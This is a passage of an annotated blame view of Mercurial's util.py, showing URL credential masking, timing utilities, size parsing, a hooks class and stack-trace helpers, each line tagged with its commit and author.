url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3296 |
if u.passwd: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3297 |
u.passwd = b'***' |
31841
9ff5a124d111
py3: replace str() with bytes()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
31811
diff
changeset
|
3298 |
return bytes(u) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3299 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3300 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3301 |
def removeauth(u): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3302 |
'''remove all authentication information from a url string''' |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3303 |
u = url(u) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3304 |
u.user = u.passwd = None |
37366
b23e3cc1afd4
py3: return bytes from util.removeauth()
Pulkit Goyal <7895pulkit@gmail.com>
parents:
37322
diff
changeset
|
3305 |
return bytes(u) |
14515
76f295eaed86
util: add helper function isatty(fd) to check for tty-ness
Idan Kamara <idankk86@gmail.com>
parents:
14313
diff
changeset
|
3306 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3307 |
|
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3308 |
timecount = unitcountfn( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3309 |
(1, 1e3, _(b'%.0f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3310 |
(100, 1, _(b'%.1f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3311 |
(10, 1, _(b'%.2f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3312 |
(1, 1, _(b'%.3f s')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3313 |
(100, 0.001, _(b'%.1f ms')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3314 |
(10, 0.001, _(b'%.2f ms')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3315 |
(1, 0.001, _(b'%.3f ms')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3316 |
(100, 0.000001, _(b'%.1f us')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3317 |
(10, 0.000001, _(b'%.2f us')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3318 |
(1, 0.000001, _(b'%.3f us')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3319 |
(100, 0.000000001, _(b'%.1f ns')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3320 |
(10, 0.000000001, _(b'%.2f ns')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3321 |
(1, 0.000000001, _(b'%.3f ns')), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3322 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3323 |
|
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3324 |
|
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3325 |
@attr.s |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3326 |
class timedcmstats(object): |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3327 |
"""Stats information produced by the timedcm context manager on entering.""" |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3328 |
|
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3329 |
# the starting value of the timer as a float (meaning and resulution is |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3330 |
# platform dependent, see util.timer) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3331 |
start = attr.ib(default=attr.Factory(lambda: timer())) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3332 |
# the number of seconds as a floating point value; starts at 0, updated when |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3333 |
# the context is exited. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3334 |
elapsed = attr.ib(default=0) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3335 |
# the number of nested timedcm context managers. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3336 |
level = attr.ib(default=1) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3337 |
|
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3338 |
def __bytes__(self): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3339 |
return timecount(self.elapsed) if self.elapsed else b'<unknown>' |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3340 |
|
38812
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3341 |
__str__ = encoding.strmethod(__bytes__) |
9d49bb117dde
util: make new timedcmstats class Python 3 compatible
Martijn Pieters <mj@zopatista.com>
parents:
38797
diff
changeset
|
3342 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3343 |
|
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3344 |
@contextlib.contextmanager |
39259
e00123f63410
util: make timedcm require the label (API)
Augie Fackler <augie@google.com>
parents:
39258
diff
changeset
|
3345 |
def timedcm(whencefmt, *whenceargs): |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3346 |
"""A context manager that produces timing information for a given context. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3347 |
|
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3348 |
On entering a timedcmstats instance is produced. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3349 |
|
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3350 |
This context manager is reentrant. |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3351 |
|
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3352 |
""" |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3353 |
# track nested context managers |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3354 |
timedcm._nested += 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3355 |
timing_stats = timedcmstats(level=timedcm._nested) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3356 |
try: |
39257
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3357 |
with tracing.log(whencefmt, *whenceargs): |
497effb0a04a
util: make timedcm context manager also emit trace events
Augie Fackler <augie@google.com>
parents:
39209
diff
changeset
|
3358 |
yield timing_stats |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3359 |
finally: |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3360 |
timing_stats.elapsed = timer() - timing_stats.start |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3361 |
timedcm._nested -= 1 |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3362 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3363 |
|
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3364 |
timedcm._nested = 0 |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3365 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3366 |
|
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3367 |
def timed(func): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3368 |
"""Report the execution time of a function call to stderr. |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3369 |
|
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3370 |
During development, use as a decorator when you need to measure |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3371 |
the cost of a function, e.g. as follows: |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3372 |
|
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3373 |
@util.timed |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3374 |
def foo(a, b, c): |
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3375 |
pass |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3376 |
""" |
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3377 |
|
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3378 |
def wrapper(*args, **kwargs): |
39258
331ab85e910b
cleanup: make all uses of timedcm specify what they're timing
Augie Fackler <augie@google.com>
parents:
39257
diff
changeset
|
3379 |
with timedcm(pycompat.bytestr(func.__name__)) as time_stats: |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3380 |
result = func(*args, **kwargs) |
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3381 |
stderr = procutil.stderr |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3382 |
stderr.write( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3383 |
b'%s%s: %s\n' |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3384 |
% ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3385 |
b' ' * time_stats.level * 2, |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3386 |
pycompat.bytestr(func.__name__), |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3387 |
time_stats, |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3388 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3389 |
) |
38797
8751d1e2a7ff
util: create a context manager to handle timing
Martijn Pieters <mj@zopatista.com>
parents:
38713
diff
changeset
|
3390 |
return result |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3391 |
|
18736
af9ddea2cb99
util: add a timed function for use during development
Bryan O'Sullivan <bryano@fb.com>
parents:
18735
diff
changeset
|
3392 |
return wrapper |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3393 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3394 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3395 |
_sizeunits = ( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3396 |
(b'm', 2 ** 20), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3397 |
(b'k', 2 ** 10), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3398 |
(b'g', 2 ** 30), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3399 |
(b'kb', 2 ** 10), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3400 |
(b'mb', 2 ** 20), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3401 |
(b'gb', 2 ** 30), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3402 |
(b'b', 1), |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3403 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3404 |
|
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3405 |
|
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3406 |
def sizetoint(s): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3407 |
"""Convert a space specifier to a byte count. |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3408 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3409 |
>>> sizetoint(b'30') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3410 |
30 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3411 |
>>> sizetoint(b'2.2kb') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3412 |
2252 |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3413 |
>>> sizetoint(b'6M') |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3414 |
6291456 |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3415 |
""" |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3416 |
t = s.strip().lower() |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3417 |
try: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3418 |
for k, u in _sizeunits: |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3419 |
if t.endswith(k): |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3420 |
return int(float(t[: -len(k)]) * u) |
19194
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3421 |
return int(t) |
1d08df65cd3c
util: migrate fileset._sizetoint to util.sizetoint
Bryan O'Sullivan <bryano@fb.com>
parents:
18938
diff
changeset
|
3422 |
except ValueError: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3423 |
raise error.ParseError(_(b"couldn't parse size: %s") % s) |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3424 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3425 |
|
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3426 |
class hooks(object): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3427 |
"""A collection of hook functions that can be used to extend a |
26098 | 3428 |
function's behavior. Hooks are called in lexicographic order, |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3429 |
based on the names of their sources.""" |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3430 |
|
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3431 |
def __init__(self): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3432 |
self._hooks = [] |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3433 |
|
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3434 |
def add(self, source, hook): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3435 |
self._hooks.append((source, hook)) |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3436 |
|
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3437 |
def __call__(self, *args): |
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3438 |
self._hooks.sort(key=lambda x: x[0]) |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3439 |
results = [] |
19211
3bfd7f1e7485
summary: augment output with info from extensions
Bryan O'Sullivan <bryano@fb.com>
parents:
19194
diff
changeset
|
3440 |
for source, hook in self._hooks: |
21046
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3441 |
results.append(hook(*args)) |
cc13addbd62b
util: enable "hooks" to return list of the values returned from each hooks
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
21018
diff
changeset
|
3442 |
return results |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3443 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3444 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3445 |
def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3446 |
"""Yields lines for a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3447 |
Skips the 'skip' last entries, then return the last 'depth' entries. |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3448 |
Each file+linenumber is formatted according to fileline. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3449 |
Each line is formatted according to line. |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3450 |
If line is None, it yields: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3451 |
length of longest filepath+line number, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3452 |
filepath+linenumber, |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3453 |
function |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3454 |
|
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3455 |
Not be used in production code but very convenient while developing. |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3456 |
""" |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3457 |
entries = [ |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3458 |
(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func)) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3459 |
for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1] |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3460 |
][-depth:] |
28497
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3461 |
if entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3462 |
fnmax = max(len(entry[0]) for entry in entries) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3463 |
for fnln, func in entries: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3464 |
if line is None: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3465 |
yield (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3466 |
else: |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3467 |
yield line % (fnmax, fnln, func) |
906fece80cfa
util: refactor getstackframes
timeless <timeless@mozdev.org>
parents:
28496
diff
changeset
|
3468 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3469 |
|
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3470 |
def debugstacktrace( |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3471 |
msg=b'stacktrace', |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3472 |
skip=0, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3473 |
f=procutil.stderr, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3474 |
otherf=procutil.stdout, |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3475 |
depth=0, |
43754
02ededbef627
util: add an optional `prefix` argument to debugstacktrace
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
43735
diff
changeset
|
3476 |
prefix=b'', |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3477 |
): |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3478 |
"""Writes a message to f (stderr) with a nicely formatted stacktrace. |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3479 |
Skips the 'skip' entries closest to the call, then show 'depth' entries. |
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
31314
diff
changeset
|
3480 |
By default it will flush stdout first. |
28496
b592564a803c
util: reword debugstacktrace comment
timeless <timeless@mozdev.org>
parents:
28027
diff
changeset
|
3481 |
It can be used everywhere and intentionally does not require an ui object. |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3482 |
Not be used in production code but very convenient while developing. |
45942
89a2afe31e82
formating: upgrade to black 20.8b1
Augie Fackler <raf@durin42.com>
parents:
45146
diff
changeset
|
3483 |
""" |
20542
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3484 |
if otherf: |
be27652675ce
util: debugstacktrace, flush before and after writing
Mads Kiilerich <madski@unity3d.com>
parents:
20353
diff
changeset
|
3485 |
otherf.flush() |
43754
02ededbef627
util: add an optional `prefix` argument to debugstacktrace
Pierre-Yves David <pierre-yves.david@octobus.net>
parents:
43735
diff
changeset
|
3486 |
f.write(b'%s%s at:\n' % (prefix, msg.rstrip())) |
31315
78ac7061f840
util: add debugstacktrace depth limit
Mads Kiilerich <madski@unity3d.com>
parents:
